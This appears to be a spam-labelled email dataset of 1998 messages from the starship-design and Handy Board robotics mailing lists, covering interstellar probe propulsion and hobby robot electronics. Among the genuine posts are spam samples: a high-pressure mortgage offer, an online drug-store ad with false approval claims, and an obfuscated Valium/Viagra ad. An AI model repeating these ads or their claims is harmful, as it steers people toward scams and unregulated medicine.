(Kyle, next time you do calculations please include some rough guide of how you got the numbers.) - A low specific impulse (Isp) is really bad from a total energy (and thus mass) point of view. - A relative small increasing in the Isp will yield spectacular decreases in energy consumption and thus mass of the fuel. I'd like to remark that of the 10^5 kg in the last case, only VERY LITTLE (140 gram) has to be anti-matter, because the amount of energy needed to give 10^5 kg a velocity of about 5E5 m/s is ""relatively"" small. Increasing the Isp to more than 3E5 seconds (exhaust velocities of more than 1% of the speed of light) will be necessary before any serious probe will be sent. >From an energy point of view this doesn't need anti-matter, fusion can provide enough energy in a relative small package as well. The question is whether that energy can deliver what we need: few but fast particles. Timothy >From VM Wed Aug 12 17:10:39 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""846"" ""Tue"" ""11"" ""August"" ""1998"" ""23:46:43"" ""-0700"" ""Kyle R. Mcallister"" ""stk@sunherald.infi.net"" nil ""24"" ""Re: starship-design: Interstellar Probes"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 846 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id RAA14874 for starship-design-outgoing; Wed, 12 Aug 1998 17:01:22 -0700 (PDT) Received: (from stevev@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id RAA14850 for starship-design@lists.uoregon.edu; Wed, 12 Aug 1998 17:01:20 -0700 (PDT) Message-ID: <35D13A53.BCC@sunherald.infi.net> X-Mailer: Mozilla 3.01Gold (Win95; I; 16bit) MIME-Version: 1.0 References: <000001bdc5a5$e2eb7780$1d5b31cc@lparker> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""Kyle R. Mcallister"" From: ""Kyle R. Mcallister"" Sender: owner-starship-design@lists.uoregon.edu To: ""L. Parker"" CC: Starship Design Subject: Re: starship-design: Interstellar Probes Date: Tue, 11 Aug 1998 23:46:43 -0700 L. Parker wrote: > > Kyle, > > You weren't being fair, you simply quoted from NASA's ""Warp Drive When?"" > page. Well, they should know, they're the experts. > A 2 kg probe is in the starwisp class and we already know how to get > one of those up to 30 percent of lightspeed with virtually no fuel. What can you put in a 2kg package that will justify the expense? If nanotech procedes, there is hope, but if not... You can't stop the thing; so what are you going to observe flying through so quickly? After all, this group is for discussing sending a manned mission to another star. I posted the real, if somewhat dissapointing, fuel needs. The only hope I see for a manned mission anyways is if we figure out how to manipulate gravitation and space-time. Then we might get somewhere. How to do it...we don't know. Yet. Kyle R. Mcallister >From VM Wed Aug 12 17:10:39 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""275"" ""Wed"" ""12"" ""August"" ""1998"" ""17:00:53"" ""-0700"" ""Steve VanDevender"" ""stevev@darkwing.uoregon.edu"" nil ""5"" ""starship-design: messages from last night"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 275 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id RAA14529 for starship-design-outgoing; Wed, 12 Aug 1998 17:00:56 -0700 (PDT) Received: (from stevev@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id RAA14488; Wed, 12 Aug 1998 17:00:54 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <13778.11445.772230.445566@darkwing.uoregon.edu> X-Mailer: VM 6.59 under 20.4 ""Emerald"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: messages from last night Date: Wed, 12 Aug 1998 17:00:53 -0700 (PDT) We had some problems with darkwing.uoregon.edu last night that seem to have prevented a few posts from being redistributed (and I was busy trying to bring darkwing back to life so I haven't gotten to them until now). I'll be forwarding them back into the list momentarily. >From VM Wed Aug 12 17:21:18 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1257"" ""Tue"" ""11"" ""August"" ""1998"" ""23:01:36"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""27"" ""RE: starship-design: Interstellar Probes "" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1257 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id RAA17795 for starship-design-outgoing; Wed, 12 Aug 1998 17:11:17 -0700 (PDT) Received: (from stevev@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id RAA17786 for starship-design@lists.uoregon.edu; Wed, 12 Aug 1998 17:11:15 -0700 (PDT) Message-ID: <000101bdc5a5$e6b8fa40$1d5b31cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal In-Reply-To: <35D05DBB.558C@network-one.com> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Gene Marlin"" Cc: ""Starship Design"" Subject: RE: starship-design: Interstellar Probes Date: Tue, 11 Aug 1998 23:01:36 -0500 Gene, Robert Forward proposed an interstellar probe based on a perforated sail design combined with gravity assist and beamed microwave power. The payload was to be 4 grams of intelligent microcircuitry embedded within the actual structure of the craft - something that is not so far fetched any more - we actually know how to do this! Forward's calculations showed that we could accelerate starwisp (his name for it) to 20 percent of the speed of light within only a few days. This would deliver the probe to Alpha Centauri within about twenty years. You must note however, that this is a ""flyby"" at twenty percent of the speed of light with a very limited payload and extremely limited data return. It may not be very useful, especially in light of what we can potentially see from Earth orbit with advanced optics. -----Original Message----- From: owner-starship-design@lists.uoregon.edu [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of Gene Marlin Sent: Tuesday, August 11, 1998 10:06 AM To: starship-design@lists.uoregon.edu Subject: starship-design: Interstellar Probes Using current and near-term technology, how fast could we get a 2 kilogram probe to nearby stars such as Tau Ceti, Epsilon Eridani, Proxima Centauri, and 61 Cygni? >From VM Wed Aug 12 17:21:18 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1790"" ""Tue"" ""11"" ""August"" ""1998"" ""23:01:29"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""48"" ""RE: starship-design: Interstellar Probes"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1790 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id RAA17839 for starship-design-outgoing; Wed, 12 Aug 1998 17:11:42 -0700 (PDT) Received: (from stevev@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id RAA17824 for starship-design@lists.uoregon.edu; Wed, 12 Aug 1998 17:11:40 -0700 (PDT) Message-ID: <000001bdc5a5$e2eb7780$1d5b31cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""koi8-r"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal In-Reply-To: <35D08DAF.434E@sunherald.infi.net> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Kyle R. Mcallister"" Cc: ""Starship Design"" Subject: RE: starship-design: Interstellar Probes Date: Tue, 11 Aug 1998 23:01:29 -0500 Kyle, You weren't being fair, you simply quoted from NASA's ""Warp Drive When?"" page. A 2 kg probe is in the starwisp class and we already know how to get one of those up to 30 percent of lightspeed with virtually no fuel. that would put it passing through any of these systems within fifty to a hundred years. Well, maybe not 61 Cygni... Lee -----Original Message----- From: owner-starship-design@lists.uoregon.edu [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of Kyle R. Mcallister Sent: Tuesday, August 11, 1998 1:30 PM To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Interstellar Probes Gene Marlin wrote: > > Using current and near-term technology, how fast could we get a 2 > kilogram probe to nearby stars such as Tau Ceti, Epsilon Eridani, > Proxima Centauri, and 61 Cygni? Depends on what kind of propulsion you use. To get it there fast is virtually impossible with current technology. To give you an example of how bad it really is, this is how much it would take to send a school bus sized payload past Alpha Centauri in 900 years: Propellant: Specific Imp.: Fuel mass: ======================================================= Chemical 500 10^137kg (not enough mass in universe) Nuclear fission 5000 10^17kg (a billion supertankers) Nuclear fusion 10000 10^11kg (a thousand supertankers) Antimatter 50000 10^5kg (ten railway tankers) If you want to get there faster that 900 years, it gets worse. If you want to actually stop at the destination, it gets even worse. That's why I don't believe we will make it with any of these propulsion systems. It would be better for a 2 kg probe, but not good. Kyle R. Mcallister >From VM Thu Aug 13 09:42:30 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""260"" ""Wed"" ""12"" ""August"" ""1998"" ""20:13:35"" ""-0500"" ""Gene Marlin"" ""rmarlin@network-one.com"" nil ""5"" ""Re: starship-design: Interstellar Probes"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 260 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id SAA06003 for starship-design-outgoing; Wed, 12 Aug 1998 18:18:45 -0700 (PDT) Received: from netra1.network-one.com (netra1.network-one.com [209.149.88.10]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id SAA05993 for ; Wed, 12 Aug 1998 18:18:42 -0700 (PDT) Received: from marlin ([209.149.88.207]) by netra1.network-one.com (Netscape Messaging Server 3.54) with SMTP id AAA157F for ; Wed, 12 Aug 1998 20:18:36 -0500 Message-ID: <35D23DBE.6BC2@network-one.com> X-Mailer: Mozilla 3.01C-KIT (Win95; U) MIME-Version: 1.0 References: <000001bdc5a5$e2eb7780$1d5b31cc@lparker> <35D13A53.BCC@sunherald.infi.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Gene Marlin From: Gene Marlin Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Interstellar Probes Date: Wed, 12 Aug 1998 20:13:35 -0500 > What can you put in a 2kg package that will justify the expense? If > nanotech procedes, there is hope, but if not... It is a thought experiment. And you could put a radio beacon in there to justify the expense. TV signals may not be reaching nearby stars. >From VM Thu Aug 13 09:42:30 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1514"" ""Wed"" ""12"" ""August"" ""1998"" ""23:24:18"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""40"" ""Re: Re: starship-design: Interstellar Probes"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1514 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id UAA29039 for starship-design-outgoing; Wed, 12 Aug 1998 20:25:00 -0700 (PDT) Received: from imo26.mx.aol.com (imo26.mx.aol.com [198.81.17.70]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id UAA29028 for ; Wed, 12 Aug 1998 20:24:57 -0700 (PDT) Received: from KellySt@aol.com by imo26.mx.aol.com (IMOv14_b1.1) id 2TMGa04520 for ; Wed, 12 Aug 1998 23:24:18 +2000 (EDT) Message-ID: Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: Re: starship-design: Interstellar Probes Date: Wed, 12 Aug 1998 23:24:18 EDT In a message dated 8/11/98 11:37:56 AM, stk@sunherald.infi.net wrote: >Gene Marlin wrote: >> >> Using current and near-term technology, how fast could we get a 2 >> kilogram probe to nearby stars such as Tau Ceti, Epsilon Eridani, >> Proxima Centauri, and 61 Cygni? > >Depends on what kind of propulsion you use. To get it there fast is >virtually impossible with current technology. > >To give you an example of how bad it really is, this is how much it >would take to send a school bus sized payload past Alpha Centauri in 900 >years: > >Propellant: Specific Imp.: Fuel mass: >======================================================= >Chemical 500 10^137kg (not enough mass in >universe) >Nuclear fission 5000 10^17kg (a billion >supertankers) >Nuclear fusion 10000 10^11kg (a thousand >supertankers) >Antimatter 50000 10^5kg (ten railway tankers) > >If you want to get there faster that 900 years, it gets worse. If you >want to actually stop at the destination, it gets even worse. That's why >I don't believe we will make it with any of these propulsion systems. It >would be better for a 2 kg probe, but not good. > >Kyle R. Mcallister Actually the numbers for a couple hundred thousand ton ship with a max speed of .4 light (with a external Boost to speed) was 25 million tons, not billions of tons. Thou carrying the accel and decel fuel internally would add several 0's. Kelly >From VM Thu Aug 13 09:42:30 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1034"" ""Wed"" ""12"" ""August"" ""1998"" ""22:35:38"" ""-0700"" ""Kyle R. Mcallister"" ""stk@sunherald.infi.net"" nil ""29"" ""[Fwd: Re: starship-design: Interstellar Probes]"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1034 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id UAA01830 for starship-design-outgoing; Wed, 12 Aug 1998 20:38:20 -0700 (PDT) Received: from fh101.infi.net (fh101.infi.net [208.131.160.100]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id UAA01822 for ; Wed, 12 Aug 1998 20:38:17 -0700 (PDT) Received: from OEMComputer (pm3-153.gpt.infi.net [207.0.193.153]) by fh101.infi.net (8.8.8/8.8.8) with SMTP id XAA14530 for ; Wed, 12 Aug 1998 23:38:17 -0400 (EDT) Message-ID: <35D27B2A.4168@sunherald.infi.net> X-Mailer: Mozilla 3.01Gold (Win95; I; 16bit) MIME-Version: 1.0 Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Precedence: bulk Reply-To: ""Kyle R. Mcallister"" From: ""Kyle R. Mcallister"" Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: [Fwd: Re: starship-design: Interstellar Probes] Date: Wed, 12 Aug 1998 22:35:38 -0700 Message-ID: <35D26C68.5B1E@sunherald.infi.net> Date: Wed, 12 Aug 1998 21:39:40 -0700 From: ""Kyle R. Mcallister"" Reply-To: stk@sunherald.infi.net X-Mailer: Mozilla 3.01Gold (Win95; I; 16bit) MIME-Version: 1.0 To: starship-design@lists.uoregon.com Subject: Re: starship-design: Interstellar Probes References: <35D05DBB.558C@network-one.com> <3.0.1.32.19980812092445.007a5580@pop.xs4all.nl> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Timothy van der Linden wrote: > I'm not so sure whether the numbers in the table are correct, however the > table does depict an important characteristics: (Kyle, next time you do > calculations please include some rough guide of how you got the numbers.) Didn't do the caluculations, they were from a NASA web page. > Increasing the Isp to more than 3E5 seconds (exhaust velocities of more > than 1% of the speed of light) will be necessary before any serious probe > will be sent. Agreed. Kyle R. Mcallister",0,0 Brian ,handyboard@media.mit.edu,"Mon, 10 Aug 1998 21:09:24 +0800",Remodel your house- get the $ you need to do so!,"Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 as low as 3.67,% $372,000.00 as low as 3.90,% $492,000.00 as low as 3.21,% $248,000.00 as low as 3.36,% $198,000.00 as low as 3.55,% Hurry, when these deals are gone, they are gone! Simply fill out this one-minute form... http://www.k82k.com Don't worry about approval, your credit will not disqualify you! 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To contact Mouser call (800) 346-6873 or http://www.mouser.com Good Luck Pherd",0,1 FThompson9@aol.com,handyboard@media.mit.edu,"Tue, 11 Aug 1998 13:22:29 -0400",PCB Fabrication material.," Some time ago Karl Lundt included in his Amateur Robotics column a short description of a new Printed Circuit Fabrication material where you ran the copper clad through a laser printer (to print directly onto the copper rather than using iron on transfer sheets). I was wondering if anyone here remembers where that article appears or if anyone knows the name of the company. I also recall that it appeared in QST magazine, though I'm less clear on where. Any help would be greatly appreaciated. Thanks Pherd ",0,0 Rick Clement ,Bait ,"Tue, 11 Aug 1998 14:02:18 -0100",Our store is your cureall!," Its true because we have a great number of different dr@gs! Pain relief, love life enhancement, depression suppress, weight loss and much more! Our store is VERIFIED BY BBB and APPROVED BY VISA! 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The resulting machine can have arbitrarily strict access restrictions between tasks. You do have to take away some C ""features"" like casting an arbitrary value to a pointer, etc, but you can do it. I'm curious how the ""users"" of your system would be motivated to crash it. If you're simply looking for a ""safe"" development environment consider a version of BASIC without poke... --Chuck Richard meester wrote: > > Hello all, > > i'm trying to write a small OS, but am confused about something. > > I don't want to give access to all memory locations for the user, only > for the supervisor. > Since the 68hc11 doens't have these modes i have to think of something > else. A sollution is a external mmu, but this maybe some overkill. > > Does anyone have some suggestions, or is it simply impossible to do. > > Regards > Richard Meester > Software Engineer ",0,0 Richard meester ,"""handyboard@media.mit.edu"" ","Wed, 12 Aug 1998 09:33:16 +0200",intel hex file,"Hello all, Does anybody has information of the intel hex file. I do understand the intel hex file (xxx.hex) that is generated by the asm programs, but i use a new assembler, (with the gcc compiler) and it generates different intel hex file (xxx.ihx). I can't seem to find any information about these files. Regards Richard Meester ",0,0 Darkman ,handyboard@media.mit.edu,"Wed, 12 Aug 1998 09:11:00 -0400",PID implementation,"Problem: I have built a small robot with differential drive using 3+ACI- diam whee ls turning at 66 RPM +AEA- full power PWM no load. Each wheel has a 16 pulses per rev. reflective type shaft encoder. the robot is controlled by the Handy Board running IC 3.2. I'm fairly new to the robotics field and looking for some info or Tips on how to accomplish some sort of PID control for this robot. I toyed around with different timing ideas to move the robot 1 rev but I soon found out it's very unreliable type of control due to the fact that each surface has a different drag coefficient and battery voltage also makes a big difference. Another problem I'm facing is that with the L293D IC's have no brake capabilities , so once the power to the motor is removed the momentum of the robot moves the robot past it's target. Precision is limited to 22,5 deg due to the shaft encoder resolution but it's good enough for the moment. I would appreciate any feedback regarding this problem. Laszlo Roska ",0,0 Mark Wallace ,Handyboard@media.mit.edu,"Wed, 12 Aug 1998 12:13:45 -0400",serial library for C++ ,"Hello, I have a handy board with poloroid transducers and I am trying use the results of my distance measurments in a C++ program on the computer. I have found programs on the handyboard web page that should alow the handyboard to transmit information over the serial line. What I am looking for is if anyone knows were I could find a serial library for Microsofts Visual C++ 5.0. I would like to find one that is free or sharware but any information on any serial librarys that will work would be appreciated. Thanks. Mark Wallace e-mail mawalla3@vt.edu mwallace@sps1.phys.vt.edu web page http://sps1.phys.vt.ede/~mwallace ""What a waist it would be after 4 billion tortuous years of evolution if the dominant organism contrived its own self-distruction"" Carl Sagan ",0,1 Aaron Edsinger ,Mark Wallace ,"Wed, 12 Aug 1998 12:53:41 -0700",Re: serial library for C++ ,"Check out this site. It works well. The only problem I had was timing issues when trying to read and write to the port too quickly. http://www.codeguru.com/show.cgi?general=/misc/misc_toc.shtml -----Original Message----- From: Mark Wallace To: Handyboard@media.mit.edu Date: Wednesday, August 12, 1998 9:25 AM Subject: serial library for C++ >Hello, > I have a handy board with poloroid transducers and I am trying use the >results of my distance measurments in a C++ program on the computer. I >have found programs on the handyboard web page that should alow the >handyboard to transmit information over the serial line. What I am looking >for is if anyone knows were I could find a serial library for Microsofts >Visual C++ 5.0. I would like to find one that is free or sharware but any >information on any serial librarys that will work would be appreciated. >Thanks. >Mark Wallace > > e-mail mawalla3@vt.edu > mwallace@sps1.phys.vt.edu >web page http://sps1.phys.vt.ede/~mwallace > >""What a waist it would be after 4 billion tortuous years of evolution if >the dominant organism contrived its own self-distruction"" > Carl Sagan >",0,1 Mario Garcia ,Handy Board Mailing List ,"Wed, 12 Aug 1998 14:31:55 -0700",Stepper motors,"Hello, Does anyone have information on how to run a stepper motor using the Handy Board? Any information you can provide would be appreciated. Mario Garcia ",0,0 MAR ERICSON ,Chuck McManis ,"Wed, 12 Aug 1998 17:28:48 -0400",Re: Some robot pictures,"Cool robots, Chuck! I was wondering it when they were created. It looks like the top one was created first and the last is the bottom one. Is that so? ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Sun, 9 Aug 1998, Chuck McManis wrote: > Hi, > > I've built several robots over the years and for the RoboExpo in SF I > put together a web page with pictures showing them off. Most are R/C > conversions but you can view them at > http://professionals.com/~cmcmanis/robotics/family.html > > I'm happy to answer questions as well. All except the last one use a > Miniboard, Robotank III's base controller is a handyboard, its upper > level decision making will be based on the Motorola ColdFire board. > > --Chuck McManis > ",0,1 Chuck McManis ,MAR ERICSON ,"Wed, 12 Aug 1998 15:36:36 -0700",Re: Some robot pictures,"Thanks for the Kudos, Actually the timeline is more like ""Clyde"" (not pictured), ""Robotank"" (Sherman chassis with a miniboard), ""RobotTankII"" (Sherman Chassis with 6.270 board), ""Comet"" (not pictured, R/C conversion w/Miniboard), ""Ghost"" (not pictured) a Sumo robot with a miniboard, ""Sherman"" pictured with a rug Warrior board, ""Cougar"" (pictured with Miniboard), ""Dino"" and ""ARBE"" simultaneously (I would like to figure out a reasonably priced ""generic"" robot for club members to build), then ""RoboTankIII"" (current project). --Chuck MAR ERICSON wrote: > Cool robots, Chuck! > I was wondering it when they were created. > It looks like the top one was created first and the last is the bottom > one. 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Any information you can provide would be appreciated. > > Mario Garcia ",0,1 Timothy van der Linden ,starship-design@lists.uoregon.edu,"Thu, 13 Aug 1998 12:01:18 +0100",starship-design: SD subjects,"At 20:30 12-08-98 -0500, L. Parker wrote: >Timothy et al, > >First of all, Kyle, didn't compute the numbers, so don't blame him. They >come form NASA's ""Warp Drive When"" page which is a converted slide from a >presentation done several years ago. > >For the lay public this presentation (and hence, this site) provides an >excellent review of just how difficult a problem we face. However, as >Timothy points out, these figures are (were) based on certain assumptions >which are not necessarily valid. It is theoretically possible to reach ISP's >as high as the ones given for antimatter without resorting to a pure >antimatter reaction, which we don't know how to do anyway. > >Second, the ISP's given for antimatter are estimates based on theory - there >is no actual proof that these figures are correct. They may be higher or >lower. > >Third, no allowance is made in these figures for any sort of enhancement >which might increase the ISP. > >Of course, the purpose of the site is to point out that we need something >better - a ""Warp Drive"". Lee Parker wrote: >Meanwhile, all we can do is continue to plan for >what we know how to do. I might point out that ninety percent of the design >will remain the same no matter what the drive is. The change is in gross >mass and mission duration, so why don't we focus on the rest of it? Excellent, this used to be at least half of the lists messages several years ago. Maybe the newer members like to write down some of their ideas about it, and surprise the ""old gang"". The following is a compilation of the subjects suggested by David Levine the originator of this list. I've used his descriptions as closely possible while trying to create a compact overview. (The original descriptions can be found in the Starship Design mail-archives.) Engineering Design Group - Propulsion: The main method of interstellar travel. What is technically possible? How much energy do we have? Or how much are we willing to use? How long do we want the trip to last? - Structures: The design of the basic structure of the starship. We will have to consider several different configurations for several different possible propulsion types. - Shielding: The method of shielding the vessel from debris and radiation. Mission Operations Group - Target Selection: How far is the target to be? Do we think the journey should be accomplished in a human lifetime? In a crewmember's lifetime, or the lifetime of someone on Earth? Should we choose a star similar to the sun? Or one in which we are fairly certain there is a planetary system? - Navigation - Mission Objectives: We also need to consider if we will be stopping at this system or just flying through. Will we be returning to Earth? Continuing on to another star? Or staying at the target? - Starship Operating Procedures Support Systems Group - Crew Selection: How do we decide who is to be sent on this mission? Is the trip to be one way or two? How long will it take? Do we have to consider future generations on the trip, or just this one? - Ship-Astronaut Interaction: The design of the interactive aspects of the vehicle: How will it be controlled? How will those controls be designed? This is partly ergonomics, but there are other Human Factors issues, as well. We must consider many things: will the astronauts experience free-fall or gravity? If gravity, how much? If this ship is multigenerational, how will the descendents be different from the original crew of the vehicle? Will they be taller? Will they be less physically strong? How will this affect their ability to use the same control system their ancestors did? Very few control systems have been used for as long as these will need to be. Will they be efficient? Will they last? - Habitation Systems: The design of the living areas of the astronauts. Again, these are places that will have to be lived in for at least a few years, and possibly centuries. We have to concern ourselves with the mental well-being of the crew, as well as the possibility that in a multigenerational voyage, the descendents of the crew may be different from their ancestors. - Computer Systems - Secure Systems - Payload - Science Studies: What type of science we will be doing while we are en route, and when we get to our destination. And we have to look at _how_ this science will be accomplished. What kind of instruments? Will we carry any Voyager- or Viking-like probes? How will they be designed? Speculative Studies Group - Encountering extraterrestrials (intelligent, dumb, macro or micro organisms) Other unknowns, not part of the other groups. ",0,0 Robert Libby ,Chuck McManis ,"Thu, 13 Aug 1998 08:52:45 -0400",Re: Some robot pictures,"Chuck, Thank your for the pictures. the robots are very cool. I was wondering what was the cost for each robot? I am trying to get items together to builb my own but it is a slow going task due to money. I can't wait to see your next bot. Thanks again for the web page. Rob Libby Chuck McManis wrote: > Thanks for the Kudos, > > Actually the timeline is more like ""Clyde"" (not pictured), ""Robotank"" > (Sherman chassis with a miniboard), ""RobotTankII"" (Sherman Chassis with > 6.270 board), ""Comet"" (not pictured, R/C conversion w/Miniboard), > ""Ghost"" (not pictured) a Sumo robot with a miniboard, ""Sherman"" pictured > with a rug Warrior board, ""Cougar"" (pictured with Miniboard), ""Dino"" and > ""ARBE"" simultaneously (I would like to figure out a reasonably priced > ""generic"" robot for club members to build), then ""RoboTankIII"" (current > project). > > --Chuck > > MAR ERICSON wrote: > > Cool robots, Chuck! > > > I was wondering it when they were created. > > It looks like the top one was created first and the last is the bottom > > one. Is that so? ",0,0 Richard meester ,brian-c@technologist.com,"Thu, 13 Aug 1998 14:22:35 +0200",Re: intel hex file,"Hello brian, I use a gcc compiler for the 68hc11F1. I do have an assembler that generates good intel hex files, and the other is used with the gcc compiler. It was my mistake in not looking correctly to the files, actually it are the same kind of files, only generated differently. I was confused, because my downloader interpreted the first fiel (neatly outlined) correctly and when interpreting the second one the downloader hang. I looked into my code for the downloader and couldn't find anything that was wrong. Later i found the problem, the fscanf function in c did some strange things, and hung my loader in the middle of the second hex file. I changed the downloader reading routine and now everything works fine. Thanks for the offer. Richard brian-c@technologist.com wrote: > > What controller are you writing code for? > > I may have an assembler for you. > > _________________________________________________ > ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ > Brian Carvalho [ brian-c@ieee.org ] > DeVRY Institute > New Jersey > _________________________________________________ > ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ > --------------------------------------------------- > Get free personalized email at http://www.iname.com ",0,1 Cosima Montanye ,handyboard@media.mit.edu,"Thu, 13 Aug 1998 03:38:35 -0700",Re: your VApLtUM,"Hi L X A C P V V e a m I r I A v n b A o A L i a i L z G I t x e I a R U ra n S c A M http://www.cationslate.com circling round in great spirals. They did this for a long while, and at last the hobbit opened his eyes again. The earth was much nearer, and below them were trees that looked like oaks and elms, and wide grass lands, and a river running through it all. But cropping out of the ground, right in the path of the stream which looped itself about it, was a great rock, almost a hill of stone, like a last outpost of the ",1,1 KellySt@aol.com,,"Fri, 14 Aug 1998 00:06:24 -0400",Re: Re: starship-design: Freedom city ship,"In a message dated 8/11/98 10:46:24 PM, stk@sunherald.infi.net wrote: >> None of the Mars coloinization concepts offer a plausibly way the Colony could >> pay its way (colonies and cities that arn't profitable become ghost towns), >> this flosting city can, and its: cheaper, more accesable, has a greater >> surface area to colonize, and far less servicing and transport problems. > >Ah, I understand. I thought you were adverse to exploring Mars. >Colonizing it also does not make much sense to me. No exploring anywhere is a good idea, but you don't settle there without a reason and a cash flow. ;) >Kyle R. Mcallister Kelly >From VM Fri Aug 14 13:37:28 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2561"" ""Fri"" ""14"" ""August"" ""1998"" ""10:43:23"" ""+0200"" ""Bjorn Nilsson"" ""f96bni@student.tdb.uu.se"" nil ""74"" ""RE: starship-design: Interstellar Probes "" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 2561 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id NAA03592 for starship-design-outgoing; Fri, 14 Aug 1998 13:28:32 -0700 (PDT) Received: (from stevev@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id NAA03568 for starship-design@lists.uoregon.edu; Fri, 14 Aug 1998 13:28:30 -0700 (PDT) X-Sender: f96bni@sabik.tdb.uu.se In-Reply-To: <000201bdc70d$a4cad360$515b31cc@lparker> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk Reply-To: Bjorn Nilsson From: Bjorn Nilsson Sender: owner-starship-design@lists.uoregon.edu To: ""L. Parker"" cc: Starship Design Subject: RE: starship-design: Interstellar Probes Date: Fri, 14 Aug 1998 10:43:23 +0200 (MET DST) On Thu, 13 Aug 1998, L. Parker wrote: > Bjorn, > > Umm, yes, no, maybe.... > > It is possible to use a star's magnetic field to swing a probe around a star > and onto a different trajectory (even a reciprocal). The actual amount of > deflection possible is determined by the velocity of the probe and the > strength of the magnetic field of the star in question. Obviously, the > higher the velocity the less deflection or steering that can be > accomplished. I assume you're actually refering to the GRAVITATIONAL field or else you've got me really lost... :/ Now how high Velocity could our probe have if we want it to do a 180??? Does anyone know the equation? > > But you still have to stop it when it gets home. Of course, but then you'll have access to whatever machinery was used to launch it. That's got to be a big advantage? :) > > In our discussions, we have been able to pretty much agree that there are > several viable methods of accelerating a ship up about .3 or maybe even .4 > c. 